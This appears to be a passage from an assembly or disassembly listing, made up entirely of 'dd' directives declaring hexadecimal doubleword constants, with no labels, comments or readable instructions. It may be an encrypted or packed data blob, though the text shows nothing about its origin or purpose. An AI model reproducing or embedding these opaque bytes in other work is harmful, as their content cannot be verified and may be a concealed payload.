0DEE21702h dd 60542F12h, 11FB16Eh, 2335297Ch, 6879BD26h, 114D1009h dd 0C10A5981h, 5330821Bh, 0D6482A6Ch, 4F7E08A5h, 22A2C120h dd 3C7A255Fh, 0BE56FB40h, 5B7E081Eh, 0AA0FE444h, 6567804Fh dd 582A55A3h, 0C50394C5h, 237F26A5h, 1B05E5EBh, 0FF565D58h dd 0A050924Bh, 546FBD54h, 81165AB7h, 72EB01B4h, 7F91180Fh dd 4E2EFC3h, 290CD055h, 126F84DFh, 10DBA808h, 0E84E0D7Fh dd 0FE2CB419h, 16EA1CBAh, 14A12A8h, 670B4D87h, 0DABD3F54h dd 3F2CB807h, 0A831D51Ah, 71EF2D40h, 0C43316C0h, 0F90BFA01h dd 36DB0FF8h, 0CD2F40BBh, 55F74CB0h, 0FD7C8C92h, 0E9010EC4h dd 556F7FA4h, 4AF04802h, 99989792h, 7195ED46h, 47E04258h dd 5C03BE0Ah, 0C7DBA02h, 0DC0D4C62h, 0DD09CDEAh, 8077B454h dd 754B378Fh, 0E00CC112h, 6F223D95h, 0CAEDD3C4h, 4D796081h dd 0B7983006h, 56F87825h, 1FB9008Ch, 0DE011B7Bh, 7FD26817h dd 0F40D8F3h, 0D3CF4FE9h, 0DC20E29Fh, 68409D25h, 0A73E9BC9h dd 64CB157Fh, 37680C7Ah, 5D9AD976h, 0CB895A18h, 0DF75C15Dh dd 4B6B67FDh, 42E42821h, 56990624h, 963C7FA7h, 0BB5EEE42h dd 5C31DD6Dh, 4975D03Bh, 534BFA86h, 307E7FE9h, 6886D408h dd 0D5B32696h, 322F402h, 246A543Dh, 1201024Ah, 1E604BDCh dd 214F3387h, 82050EEh, 0DD489558h, 0A8EF8760h, 0D77E70EAh dd 0E95C21BDh, 243F09F7h, 0FF30AFAFh, 0C15AD129h, 26F8AE50h dd 3F11D57Dh, 6C14440h, 9DA1BC1Eh, 890403F0h, 6F8EE9C5h dd 3E226803h, 3EA7BE85h, 0A2DF5F78h, 0E9F9C1EAh, 2F40BEF6h dd 60AE5188h, 1BC50C2Ch, 50958B67h, 0CFA22C38h, 0E002C2E8h dd 0FC3FC0Bh, 0EA46D0FDh, 0C3054BB6h, 3F7EB505h, 30255FF1h dd 0D92612DBh, 0E4CEB80Fh, 923B31AAh, 91257EE8h, 0AB244A8h dd 9070B96Ah, 0D719F009h, 1068F506h, 0B016CE05h, 0FC1A11B7h dd 0D015F642h, 49FBAE9h, 0B3BE66D9h, 362C92FAh, 0CD590245h dd 0D4A0E970h, 128B8BF1h, 7064F67Dh, 450663BAh, 67BE3E31h dd 8AE9120Bh, 83B43174h, 54AC0220h, 0BE6A979Ah, 0AE04E356h dd 1058167h, 0B055ACD7h, 82B462E9h, 0AE9D95Fh, 97524FEFh dd 4E29AE54h, 56F8D045h, 0D669BB1Fh, 0B00FE86h, 2CEB446Ah dd 0FE4C5AE9h, 62BEC174h, 0D0C95695h, 0F1A53BBAh, 4B20916Eh dd 0C8E8144Dh, 12120B10h, 192B368h, 5E1D8A1h, 0D905F6BEh dd 0A572801Fh, 3D093259h, 0B0440168h, 0C4036FAFh, 98395345h dd 591EDD7Dh, 0DA1270B5h, 5ED6400Ch, 2DF88249h, 522F749Dh dd 12146F57h, 62C69E50h, 5F5A5494h, 0DC42D973h, 15B27F29h dd 51821751h, 0FDF4E1E9h, 61F6104Eh, 0C4112248h, 41A3E090h dd 5CC03DC9h, 674C1768h, 2E0DD3BFh, 0CD202D1Ch, 0F6BA81E3h dd 5D492DD4h, 0FD09ABA9h, 895D6161h, 0D1146494h, 0BEA96F5Ch dd 0DD635E42h, 62AF5E88h, 43125F98h, 2AA1B11h, 0C55F8927h dd 58C051C2h, 0ED1302B9h, 3302D4AEh, 611F64EEh, 38A0F1C5h dd 0B9789508h, 75229A97h, 0B9C6829h, 0C6ABF705h, 0D8D4DBCBh dd 97EDE2FEh, 8D8AD3BEh, 3850F495h, 0DAF60126h, 9976060Bh dd 0BC6B5C35h, 33E4E42Dh, 76E59550h, 21236800h, 27E94CD7h dd 209AE1C7h, 77A44455h, 6B0293FEh, 225586BAh, 0F5B37761h dd 5D34D720h, 0CB83052h, 6F237A08h, 3DF30220h, 785D13E7h dd 84DCE78Dh, 29DE2502h, 5F944102h, 0F71E6209h, 4CEBDC73h dd 0A6594E5Fh, 4A0A1760h, 0EFC1FF04h, 31D7BBC0h, 0D7F8E4C7h dd 0BE440408h, 51568A5Ah, 0DE39EC36h, 9B52792Dh, 7721D8A4h dd 0A415DF1Ch, 356850A8h, 9560469Fh, 3A2056ECh, 3517CAFh dd 0C96AE868h, 24B15D5Fh, 0BF1B5018h, 0AE053AC8h, 47E7D127h dd 811D00FAh, 2B4236C7h, 0FD015D13h, 0D0FB8E65h, 0EF522535h dd 0A4996B50h, 0E35FE202h, 575DE989h, 0DA9E0AFAh, 5A73542h dd 8067BD5Bh, 0C71185C3h, 3EE1BF22h, 5E0841EBh, 802CB957h dd 0BF48D108h, 172EF7ADh, 20CDE9B7h, 476EF32Bh, 2000D15Ah dd 0D9ACC56Ch, 9FB6B009h, 2AFE8E00h, 8B970F59h, 501C5E1Ch dd 0E98061BDh, 41A84B95h, 0DD52AF08h, 6DEA8041h, 0E93D7163h dd 0CA85BFEBh, 0E2E806B7h, 0F726453Ah, 0D568C758h, 4606123Dh dd 0EDC235ACh, 77BF11h, 0DA13B858h, 0EE833069h, 0EC06C690h dd 0FC9F90E0h, 0EA6BCE03h, 752D807Bh, 625F6832h, 28B65FEBh dd 6B8C0C40h, 0AA54FE9Dh, 0C03EC3Ah, 8F0C0315h, 7D04E920h dd 6B2FB85h, 0B08BEA93h, 86850869h, 26844563h, 3263CE7Fh dd 569B5C55h, 9C54CC06h, 2EA17918h, 5A78020Ch, 21DF118h dd 1E824BAFh, 0BA0088C3h, 26C9167Ch, 31092145h, 0E96B8BA2h dd 580C824Fh, 0DF2A8529h dd 6A63440h, 0ACF669C0h, 4E5020DCh, 8651C131h, 0B0B77ED8h dd 0F5A02089h, 0AB09BB6h, 98076395h, 1F5058C3h, 825287B4h dd 933DE94Eh, 33880951h, 0CB500ADh, 0F3885350h, 5B75DCE4h dd 0A820EE69h, 6FCFE8D1h, 6EACF763h, 0CCF7C4h, 8006EDC0h dd 25A87BE5h, 875E6203h, 0C9F87C49h, 906B89FDh, 9F9DB87Fh dd 0DFED8FD6h, 0F44BA83Bh, 4BE9F3DCh, 0ED0EC55Bh, 0BD03B4ACh dd 0AA0EC1FCh, 0A0604E89h, 256886E9h, 84FE2378h, 0E91708A0h dd 0F8CE6D1h, 516B0502h, 8C6C297Dh, 88C95D15h, 0FBCCDDB7h dd 826357F6h, 0B9C39D8Ah, 0C5BE4123h, 4BEA7085h, 0EC6784EDh dd 2CBA5A69h, 7E701C7h, 0E8285BB1h, 8524E62Eh, 0EC41C6E9h dd 0AE7DCCBBh, 5BDFDE41h, 1D51BB60h, 802B3614h, 986999EFh dd 3B0E2D0Fh, 0A125E66Dh, 49F07FB8h, 4527A03Eh, 0F5A9244Bh dd 0C4FA2987h, 1CA0BCCCh, 81AE4595h, 2AFEC417h, 2D835818h dd 41B52A0h, 77D53669h, 0E5E0AA5Dh, 67DD0FCAh, 53E452AAh dd 48EDB227h, 4C220090h, 0BCB9352Ch, 6DF50474h, 1F80C8E9h dd 0F064DC2h, 0EC944009h, 32C12774h, 4A767878h, 0F703E23Eh dd 18CFC600h, 0E9D531A5h, 0BCBA5C05h, 3AF93F8Bh, 4820B9A0h dd 87BD099Bh, 89806A4Eh, 0A302F8C1h, 10BE5F4Eh, 0C06008C7h dd 6E15E5F1h, 1BFE509Fh, 4D1F707h, 74AC281Ch, 4EFB896h dd 0B925412Fh, 381105D9h, 5EAF3049h, 31CB407Ah, 0E3E98469h dd 0B9B83C4Ah, 6AEDC2A7h, 0FDAD3B56h, 42D67903h, 7E25067Fh dd 0BD155BA8h, 0A80F6496h, 30BAA48Dh, 0E9FD8698h, 0E6E71029h dd 0DEE7CE9h, 6020DA78h, 2D00CBC6h, 0A53507F8h, 1229AB27h dd 4909E940h, 83595856h, 0B5FA73Dh, 0F7A0DDD6h, 0FB9DCBF1h dd 1927057Eh, 89BF20C9h, 952CEA1Eh, 881BFDAh, 0E8C8FF5Eh dd 600B613Eh, 568A9CE9h, 0A9956213h, 42505B02h, 0D9195530h dd 454D0115h, 818B5E20h, 70F87F5Ch, 0FFDC98B2h, 0C8A81B2Eh dd 4268240Bh, 148B110h, 0F6B394C2h, 0DA321478h, 496BF96Fh dd 6B2C0F59h, 667650Bh, 7F12A14h, 594788EAh, 27B6B26Ch dd 1D3C8390h, 11FF008h, 90820C7h, 0AD6FE958h, 0C5507154h dd 0A67A0531h, 10F50136h, 293F08CFh, 0EB4EBB4Eh, 0CEEF7254h dd 27B94EDDh, 554BE983h, 0ECB52605h, 0D81DD30h, 832A59EBh dd 0AEE15143h, 0A3B7E728h, 0D8B32C04h, 7F0A1669h, 669C8DC6h dd 61986804h, 0E9E161BAh, 5DBF240Bh, 5DD12125h, 49D6E89Ch dd 0E6535AA0h, 0F2074B12h, 0B9510174h, 22B23787h, 0DC12446Ch dd 0E7EF44FBh, 0D4BA3038h, 0C2425871h, 0D45AD516h, 0B1693h dd 362423A5h, 0EF2DE969h, 0F6E2EEAFh, 891A5F66h, 7CD5E16Fh dd 0F2681551h, 29FF4AE2h, 3A8B6E13h, 0CD541512h, 0FDFFA62Dh dd 0A12F1A09h, 0D0017CBEh, 206EF03Eh, 2835126h, 202D7D1Dh dd 14B5703h, 4A8D805Ah, 0C792F30h, 40951222h, 3C160703h dd 0DB912734h, 0F62A1E7Eh, 0F8E02C27h, 0C17ED9A7h, 0C274ADE9h dd 0EB7C717Fh, 0AA7D90D7h, 41F69F98h, 2F5C59h, 51BF5746h dd 181E6B6Dh, 7E67D2E9h, 598BC93Fh, 7B5282B9h, 0E912D6B3h dd 4B73820Ah, 1DED4855h, 5EF85CB7h, 536A403Bh, 19D60816h dd 0DB88B816h, 4CDBF8C5h, 0CD808A1Eh, 43754E77h, 14484AF8h dd 0E52DC03Ah, 98F3BDB6h, 0EB584B0Ah, 0C64DC41h, 0C2908A90h dd 705531C6h, 0EE05E1A7h, 0CAFF3EC4h, 8FE913A1h, 86AD4A57h dd 571D2CF5h, 0AC5E33B8h, 6B2B79AAh, 0E98245E8h, 68D68D80h dd 0FB0664C0h, 0B9099758h, 440C0CFEh, 770458A8h, 132B5A62h dd 2CEB2A92h, 52AF67B8h, 226812B9h, 0F1A0E812h, 851466ACh dd 6B4781D3h, 81BFF030h, 17EC6497h, 9595F04h, 2AE67619h dd 0F5977D2Dh, 0DB406EB2h, 82DAADh, 0A1660687h, 0A4595B65h dd 69183CCDh, 0B1F801B6h, 907EE671h, 9A4E0C4Eh, 5F28B9AEh dd 90CB3BE3h, 0B80D444Bh, 0AAE6FAC4h, 56D898D2h, 92F04B44h dd 0EB801787h, 72D09C9h, 4EC1D9D2h, 13BC7FEAh, 0DC59C07Ah dd 517D4103h, 0DDEF630h, 0BDC427E9h, 2EE2AF56h, 4990D14Fh dd 4135A644h, 5C016B9Ah, 6D876851h, 2C0FD78h, 5A43A93Eh dd 5BAA524Fh, 90D60B82h, 0B9192C0Eh, 7793384Eh, 4497622h dd 0E25C97CEh, 2078055h, 64135B43h, 0A3C59FE9h, 160F9AFAh dd 7F201DD0h, 483D205Bh, 7107A731h, 0C045193Ch, 0DC10DDF2h dd 4B183F60h, 0C16B6232h, 7DADBB0Ch, 6FA22E60h, 27D8E917h dd 0EB336438h, 3699DE47h, 59563021h, 41FFA830h, 77B1DFDDh dd 0D0D351CBh, 4B48632Fh, 9F43AF80h, 90A984Fh, 13346A75h dd 5D624E01h, 0ACD840D6h, 6127ED47h, 81D6F029h, 0C9445B08h dd 666289ACh, 79E413F7h, 0BD550401h, 6A3F717Bh, 82DAF1F8h dd 78F03B8Bh, 293CAA0Bh, 5B96574Bh, 2E6EBA00h, 0E9560EF0h dd 0BC8BB560h, 7CA78E67h, 607C7009h, 7A521F9Ch, 1C3120DAh dd 138F8320h, 0A3FD885Ch, 74915B6Eh, 0B800A9F3h, 2C274462h dd 6B2CF74Dh, 0C54BB368h, 0FDA21A67h, 0A83E5380h, 600F122Eh dd 7F52BACFh, 0F4E504ABh, 31580491h, 0F37A1FA1h, 0CE2B842Fh dd 0CB105B0Bh, 0C8837363h, 0FA30E281h, 4A722F87h, 7C9DEA14h dd 85EA9F49h, 0ABDFFEF4h, 0C7CD8617h, 0E114AC6Eh, 0BF01953Bh dd 3043F8E1h, 17F8893Eh, 70C83DC5h, 0CDFF247Bh, 49EF0184h dd 7213A946h, 0E90840E7h, 0B857652Ah, 8A52A097h, 7A79C01Ah dd 1C888229h, 0CE41A70Ah, 25616E5Dh, 928594F2h, 97556853h dd 8478B2E3h, 3E067348h, 227EF125h, 726C55C6h, 6EB9279Dh dd 22DE60A2h, 0C25A8B09h, 50EDFDC1h, 2F08E425h, 0A6990C73h dd 0B3177B6Ch, 0F93808BEh, 4EF4D025h, 8177ECB3h, 710A5157h dd 0BDA696F0h, 0FAE95F7Eh, 3924B68h, 64EE81D3h, 3010C289h dd 710C2745h, 1A463F75h, 0C94B12ACh, 8AE10023h, 29D207E5h dd 0C122C64Eh, 4BA00A0h, 525EED35h, 14329E1h, 0EFD4C8B9h dd 5AD12731h, 4EB69FC6h, 564C273Eh, 93E950DEh, 4674B44Fh dd 110999FCh, 0B5D0AB2Ch, 3AE6067Ah, 0AE3C0C94h, 8539C8EBh dd 321B5728h, 0EC185080h, 11613E9h, 60C5A2DFh, 2BDC4326h dd 4BFAB0F9h, 0DDE02805h, 498E6BF9h, 0F9656017h, 0B7AED261h dd 72E90C88h, 0E0B91068h, 5D6D4C0Dh, 8EDC0517h, 97404EDDh dd 0EFBDF4C1h, 6A029DFDh, 0C557B847h, 4DDFE939h, 2D5C92A3h dd 0B181303Ch, 80568195h, 0A66089E3h, 4F52F650h, 0C1B874FCh dd 2B99B404h, 8DC6A4ACh, 2398931Bh, 48DDD205h, 2CEFD501h dd 0EF3EC622h, 0DC3D2546h, 5008A013h, 1026F05Dh, 24677629h dd 2C2ED103h, 6C0334Fh, 4F5E3C59h, 2E2DBA2Dh, 0F20EC46Bh dd 9FECD66Dh, 1A104260h, 589D793Ch, 0E5DC953Bh, 57E330C9h dd 30388276h, 0DE4F015Ch, 0E96538AAh, 9E9FA42Ch, 5B0E6884h dd 74E560FBh, 7F2DA678h, 0C3275429h, 0AA84DB0Dh, 0CB4C329Bh dd 4F2F2C49h, 0A3CF3387h, 0E52088CAh, 12F37BE3h, 0AB3F5271h dd 0A6F97D17h, 0F94F723Eh, 69C9DE1Eh, 0DD93FF5Ch, 2C283EC1h dd 0DA68C21Bh, 1B9CC619h, 48E310E9h, 287D71E9h, 42ABD2B2h dd 0A635E906h, 72703246h, 59145695h, 7CBE7759h, 77256DBCh dd 282FC41Ch, 62347C92h, 0BEF117CCh, 0DAA2E985h, 207BEEB7h dd 42BD1226h, 73C07F07h, 86096855h, 0FD249973h, 4600131Ch dd 21547A6Bh, 94B7E9C5h, 0A69E253Eh, 0DA97E927h, 3CC50F3Eh dd 66443961h, 0B640F431h, 744F1BF4h, 71407BB1h, 0E744776Fh dd 759BAE80h, 0EA296D64h dd 881CAF1h, 6886E95Dh, 66592F3Fh, 7242C027h, 0E97E575Ch dd 79C67627h, 0BC6E88EAh, 5649BA01h, 7E300844h, 3D0E16B8h dd 12C8D43Ah, 2718BC08h, 594E515Bh, 2E72C6E9h, 0F2B844D6h dd 91DDD312h, 445119h, 5251905h, 0F80163A8h, 0B807132Dh dd 44B205A2h, 1AAB296Ch, 6ED80D47h, 79E9DEBFh, 9123112Ch dd 41B47748h, 0E690301Fh, 0EA8BAD69h, 82F4D4C3h, 57BC20DBh dd 0EC77F5CEh, 0C800D1B1h, 13214B05h, 9771906Eh, 0BE00259Ah dd 324D7C0Eh, 2E67695h, 38D83991h, 3B48407Dh, 20EEB7A3h dd 2F5B6812h, 1B82A137h, 0BB2BA005h, 5B3742E4h, 20A5B161h dd 6D145012h, 5B9B1AEBh, 53040B8Ah, 0CC9661E9h, 0A0B25ED2h dd 0C2E4C5B7h, 9244CC6Ah, 8361EC0Fh, 5104C93Bh, 397C6B3Ch dd 0DEFB21B4h, 51616246h, 9ED7B54h, 58791BEBh, 1F7E0888h dd 53C98B5Ah, 2153657h, 0F1067968h, 52D65966h, 1611F2AFh dd 0F1E3E95Fh, 0F3DA3E9Eh, 671EA904h, 73B8A971h, 5558A30Bh dd 5B60040Ch, 33C9BD00h, 2BF46736h, 51904A4Ah, 58A85893h dd 95015F0Bh, 1307072h, 81604DEh, 12551E01h, 45751B20h dd 0FE414241h, 0E55F0802h, 0EA808024h, 0D08850E2h, 0E910C7E4h dd 0F7509B7Fh, 0FFC14A34h, 0D7686660h, 0F095A63Bh, 26A24A5h dd 0C5DE08FDh, 0CEEF0493h, 0E95B0522h, 0F5EAEF68h, 3B1921A8h dd 0A0196DA6h, 0F95720D7h, 5CF334E5h, 4CC0C6B6h, 253B2613h dd 19C1DFF7h, 9E817008h, 6C146512h, 1282B2A1h, 78365A75h dd 39F2D4E1h, 2F2309B4h, 9784C87Eh, 11862D70h, 0C88AA77Ch dd 0E9040A2Dh, 0CCAF0AF5h, 6341E4C6h, 0D1F3616Bh, 5ECDE0E5h dd 3A90A19h, 61E8ED11h, 219E13C8h, 3A2289EEh, 84D317A8h dd 4171EAC3h, 3FF05AACh, 0E642ED01h, 18B27503h, 2920F5Bh dd 2193C1B6h, 265A27A3h, 0EBD61882h, 0EEF5298Eh, 0E89B6D9h dd 0D23F4A5Eh, 4BB5F894h, 0F2B751F8h, 7A4ABCCDh, 71BD3A40h dd 95DDB980h, 6F4BA4F2h, 0CF2A68A1h, 0FF9F6B62h, 7E979E14h dd 4BBC16B7h, 20FE5BFAh, 80EBD109h, 2D5A084Ch, 0FB09056Ch dd 885260E9h, 220FD044h, 9F893714h, 55406849h, 0DAFEF4B1h dd 9F8C8828h, 705FCF75h, 6C7BB7CBh, 73E28AE9h, 16C10189h dd 5681475h, 0D90314Eh, 0D325835h, 8841FC27h, 2C635BE2h dd 0EBF74BEAh, 0C5F29FFAh, 3F89D1F8h, 41C3DA13h, 235A2D14h dd 2E143A08h, 0D5F07F11h, 7F4C85C4h, 0C40131BEh, 4867AD05h dd 8120359Eh, 0C1409C21h, 68EE04D8h, 4B730C07h, 5545AAE9h dd 56D58916h, 910F8E09h, 0F4DABA0Eh, 548E021h, 0F32C0858h dd 3107AC11h, 936EF38h, 764920EAh, 0C4F4B805h, 5E878617h dd 0EC77C6C2h, 0BFF09168h, 0BE951212h, 87EA7422h, 21C38CF9h dd 0B6BE854Dh, 90B01230h, 0A2908EE5h, 76C2506Eh, 0D4C65F0Dh dd 0CBF9EE09h, 0BF027F6Ch, 2F5406E2h, 55EAE255h, 0B822258h dd 4A3D09C0h, 5A4D0412h, 0D1F3F1AAh, 0F9DFC242h, 12546BFFh dd 25072A00h, 0F332160Dh, 4EF8E9D4h, 9829A841h, 30236E58h dd 0DD0C53BAh, 773F6C56h, 880E801h, 0B5290C36h, 3282E573h dd 5F428B4Eh, 0C560FEC2h, 62D2AEC0h, 0DF90951Ah, 0B8E99AB8h dd 0AE416FFDh, 39D97956h, 80661B20h, 1B92DADh, 0B590500h dd 49E90999h, 0AE4E519Dh, 735A7972h, 14C62DEBh, 22411E90h dd 17367964h, 221F6737h, 4E589194h, 4233749Fh, 892D3F7h dd 81AFEB5Dh, 9D07CD1Ah, 0AAF36073h, 2C237692h, 0B05A0959h dd 8117E871h, 0DB18E142h, 9008EC3Bh, 42AC1217h, 0E57D01C3h dd 7A712AD0h, 1F9F08C0h, 4D5B3E34h, 3A2FF586h, 0E9501AAEh dd 433BF9C0h, 0C1517E29h, 2BC6F08h, 542DE9A8h, 923FD3A2h dd 0FA2BA422h, 68875F4Bh, 72E005B4h, 3E527253h, 3AF28851h dd 0DA8259CBh, 7947685Bh, 0E1993466h, 9DB2222Fh, 0BD5955E6h dd 3DCB08CFh, 1590C782h, 15512314h, 0AF40B0A8h, 5049168h dd 13F0295Eh, 7D68E4BCh, 317D3C43h, 191B8B9Eh, 0C134280Bh dd 9722AAFh, 0BCDE320h, 340B393Ah, 0BC49EE05h, 0D109D670h dd 0F6D26E07h, 122D9C71h, 2CC2EA5Ch, 0E55E572Bh, 0F447DD49h dd 0FA9655A5h, 0AA4A22A4h, 0FD5CB6C2h, 3CE4BA7Bh, 0E48DD206h dd 1AE5E5Ah, 65B9CEC7h, 0F6B0E730h, 860E2287h, 0DFD6F758h dd 7643E984h, 6958AEF2h, 5E74F215h, 131A5F78h, 21D8BB7Bh dd 4E639852h, 0BD241662h, 5905E2AAh, 0CB4BA7C6h, 0EE3177D8h dd 261698E5h, 22D17C8h, 12277E9Eh, 4462E801h, 0F7BF3268h dd 73A81A12h, 821608ADh, 9218EC1Fh, 0CB0281EEh, 9D4F7BD1h dd 0A942090Ch, 135E106Dh, 536B2506h, 3E991894h, 929DFF3Eh dd 95F433h, 5DDB1CC3h, 0BC0C768h, 0E9DE315Eh, 61B54FCEh dd 2B1E7605h, 37C06664h, 5C502946h, 3B109516h, 963124C0h dd 0CCCFE30h, 0FE45E093h, 538A5B13h, 56D703E6h, 0A4E1A2CBh dd 0A50B64A9h, 33506D1Eh, 0FC6FDE8Bh, 1457D20Ah, 46BD0951h dd 80D73F0Ah, 4137A30Fh, 61DDA00Ch, 95027A2Dh, 659D0EF0h dd 0A41FA41Dh, 788807CFh, 68FF0BA1h, 4A3D7695h, 57C1AF67h dd 0F2CA7FBDh, 4EB256Bh, 0C1206F47h, 428E71B5h, 0AF5E0CB6h dd 1A22962h, 7BE7C780h, 6C6E19C7h, 4BB0122Bh, 4ADEB228h dd 0B70813BAh, 0B0281CC0h, 0CFAE4A38h, 2E451212h, 0EBC934FEh dd 5F8253F0h, 1D39AF89h, 0BA247Eh, 1F2E408Bh, 0E9174A4Eh dd 47EC7264h, 0CEEB08A2h, 0A602E05h, 9F011E88h, 5C692214h dd 38C50C82h, 0A58046B3h, 0F4DF7C29h, 87ADE931h, 93705F52h dd 941EF4FAh, 0C2C19E5Fh, 19D30AFh, 5A71E957h, 0C0B8B6Bh dd 0F3779868h, 318540ECh, 0A0E4F29Fh, 0FC9DB44Fh, 4D9461h dd 0F6801CB6h, 0C667FE05h, 0EE801A0Ah, 1DB15159h, 81CE306Bh dd 0D05AF108h, 52AAFBE1h, 0F6D70775h, 0E99B2C90h, 6FA924Bh dd 3C68D1F7h, 295B837Fh, 40402DFEh, 903EAD3Fh, 57E9121Ch dd 8DCF08E4h, 0CC22B903h, 0D1A97E12h, 549C99C9h, 6C1ABEFh dd 0F7C26C77h, 0E904CC6Dh, 0CFBA257Ah, 0BF4A7FF8h, 0F1296A04h dd 29EDBF9h, 70F009BDh, 7DFDE880h, 0C89D6B19h, 5B0AA9A7h dd 783FE807h, 7AD24E14h, 493206EAh, 0B0C58F6h, 37E035A4h dd 0C09DE4D0h, 2748CEBFh, 2B5F6813h, 0D1ED078Eh, 77C7AE82h dd 680428D9h, 21EF0477h, 2882DB1h, 6D805D4Bh, 317FA7BFh dd 0E984A7BEh, 68048C8Dh, 5261986Fh, 0B55A5828h, 53B919C0h dd 0C01B8B1Ch, 714924DAh, 514EE914h, 0C52D1EC0h, 0BC332E28h dd 0A32023Ah, 4CDC359Fh, 8B5BFC7h, 0C19385BAh, 0E6EAC1C6h dd 0C0D184h, 7874CF81h, 59727B9Dh, 881D3CA5h, 800ECBDDh dd 3B54D219h, 0D93F600Bh, 0BE566358h, 5F4D0AF0h, 4C06DB0h dd 5107E6C1h, 8E4824E9h, 0C5688E08h, 0C20EE3E4h, 0FE00959Ch dd 73EC80CCh, 0ECF9E4C4h, 880304F4h, 812C58E1h, 0D204C882h dd 0E858B975h, 15A079FDh, 0BCB64E8Ch, 0F89B4E5h, 55CA5138h dd 484700EEh, 1BBB5D03h, 0FCB7B804h, 0C2C1EB81h, 0E0407C58h dd 3F922AE3h, 9000549h, 9C354A18h, 0DF21461h, 3F63475Ch dd 0BB7E9D02h, 1209CD93h, 0A4ACDB1Ch, 257EAB67h, 0BD2F98D5h dd 0ECB481A3h, 8014DCF6h, 28838EE4h, 44488C72h, 116B1034h dd 1FB6ED40h, 18F4300Eh, 28CC1C5Ah, 0B5850082h, 28C58057h dd 34E3F6B1h, 0E85EB469h, 53AF5F77h, 7C6E8F7h, 0DBF692EBh dd 59B015C4h, 2AEABDBAh, 2D938580h, 42906035h, 9A05FC01h dd 0B80DE93Bh, 0E54AB56Dh dd 3A02EDF1h, 4E02DA13h, 0D519DA15h, 0A5D759C8h, 554BF624h dd 0AAB2927h, 0F7180D90h, 97DD0434h, 807E9CEEh, 1220D648h dd 3B6015B0h, 7D50683Ch, 0C3722A32h, 5245F2FBh, 20649126h dd 17FAA33Eh, 0C888A416h, 97DD9553h, 0AB4A3B24h, 2A683C98h dd 5C2E5CA2h, 0DA20D156h, 0D8405827h, 2CA80C0Fh, 0E9D3C589h dd 3A125B4Bh, 74713A03h, 4DA8E588h, 823F5081h, 7AB67159h dd 0E8283806h, 98AF3510h, 7E301A1h, 6E296848h, 89C45FE8h dd 935CADD0h, 0ED0E7EE8h, 34AF44E9h, 5110EA32h, 0A0EC4A08h dd 0FDB47Ch, 8166EFBFh, 6F64F49h, 4268DE97h, 0C2825251h dd 137D7FB7h, 9374C10Ch, 0E4F20164h, 0CA08DAD6h, 4A97D9D6h dd 820DB901h, 0C0FE691Ch, 75112D8Ah, 0B84D4F16h, 0E90740CCh dd 1488BA4Bh, 256C96ABh, 25AD67Eh, 0F7B3EDB6h, 1259AE6h dd 0D0CC75F3h, 0E7F1234Bh, 0ADEDF996h, 1A93468Fh, 0D51CFD29h dd 7FE9A321h, 2BD13EC2h, 9404C5F3h, 4EA2EFF5h, 0B63604D7h dd 1E79FB2Ah, 20503D7Bh, 4613669Bh, 0C8EF4F88h, 917C687Ah dd 0AF3718B5h, 4C790949h, 0B1A0FE31h, 0AA53E94Eh, 0E857CAAAh dd 8284EDB6h, 13E3DBDFh, 0EA1D8087h, 0E9254207h, 0BF9E4021h dd 59CC2405h, 0E58E28C6h, 0C53F5DCDh, 628901A5h, 7E34D545h dd 80938D4h, 0AFB17758h, 28002ABCh, 80F32859h, 2A1F4CC3h dd 3052B237h, 0A4B6528Ch, 0D6CEFE24h, 902A0509h, 6ABAB159h dd 0A781820h, 6C9D5388h, 37410A12h, 0BE8827Bh, 7BBFC7D0h dd 0B1B7C420h, 3C42EA99h, 0EA45810Fh, 0E68291BDh, 204F6508h dd 5E120D6Ch, 0CD013AE8h, 7E6E76FBh, 61B096Eh, 8A8361AFh dd 0E9E8D67Fh, 0EBDD8CF0h, 0E3401893h, 0CC4DFABBh, 5BACF44Bh dd 0EA40D98Ah, 0D10048DFh, 0FA682FEAh, 4C5A195Dh, 0F7D833D1h dd 50BACCD0h, 6819E11Fh, 0DF452D27h, 55840E2Fh, 50ACAADEh dd 1285F45Fh, 1523501h, 0E449F766h, 5AF6207Ch, 1D2E031Fh dd 8A074E4h, 2D141CD0h, 82F9DA5Fh, 6BFA5E23h, 1E1D0BE8h dd 5BCC5BDh, 819509E1h, 3F45A9E5h, 0FB176E8Ah, 5F95CA8Bh dd 0E9C509B2h, 7D99EF9Eh, 92BECBE4h, 6F4A3186h, 3CAE527h dd 0BB7CB1ADh, 60D34034h, 79AF4E5Ah, 5600616Dh, 0FAA0D968h dd 9EA3E9E7h, 8B382647h, 6EC6AD38h, 4FE36C20h, 184DBC54h dd 0CACB6522h, 0F73B300Ch, 0BC29C20Ch, 8AB9BA25h, 0E20F7EA8h dd 0B7196F0Fh, 5D808C1h, 5D5B0A40h, 8D2C27E9h, 0ECB0BF52h dd 3C6AA26Ch, 62FD26C1h, 5EF109E4h, 2567520Ah, 0BF542056h dd 0A92DCD84h, 2FE917EDh, 0B79E9B1h, 3543EE97h, 4887BEE9h dd 80196F76h, 0F5E3FD8Ah, 7A222549h, 73F48BE0h, 0C5CC20FAh dd 0D4F69318h, 58285716h, 7F8462E3h, 601BD04Bh, 0AD90C66Dh dd 4E5FFD3Ah, 0ABC60DF8h, 0BB095A82h, 5F2327EBh, 0F1071581h dd 8AD4FA1Ch, 9DEBF2A5h, 564638Ah, 0C12F08F7h, 5911225h dd 2113EDF9h, 97F7ACF1h, 0E05FEEDFh, 0F9C1124h, 90F4CCC9h dd 88D6BC70h, 6613AF7Bh, 9CEEE2D3h, 494BEC90h, 0EF535EC9h dd 5992FB04h, 174665B4h, 0F8841BA0h, 0B6D2106Fh, 1F575B12h dd 7394255Fh, 17018F37h, 9746B861h, 41C1CBCBh, 0E83F08CAh dd 86E9C2C0h, 59CCE814h, 9402F62h, 0EF7A1544h, 0D4222A2Dh dd 768002F8h, 2BDE3735h, 636FB804h, 843924AEh, 0AAF7D41Bh dd 8ED92DB9h, 87A83AD9h, 634E41D2h, 7A2F9716h, 120C18E0h dd 44C259E9h, 0F60DD7CCh, 4F34967Ch, 0A4E48805h, 848732BBh dd 41EB5824h, 8D044715h, 0A5F8F91Bh, 12BCD61Dh, 92F3AB29h dd 1543FC4Eh, 16AA42C3h, 79208174h, 4B4303A1h, 8F95EC61h dd 2434C458h, 0A55EC555h, 67BC6A66h, 6DB4BEB4h, 0C4125E9h dd 68673FF1h, 0F70B4D77h, 0D8BF66EEh, 0B15A5B32h, 0C6F33EE5h dd 0BC25A8D6h, 23854A2Fh, 28C95A34h, 604D02A9h, 3E025E24h dd 0CA1848B3h, 305C2ABAh, 0FD6AEF72h, 321B6809h, 0E90D0C06h dd 5A4280DCh, 6B3DFA9Dh, 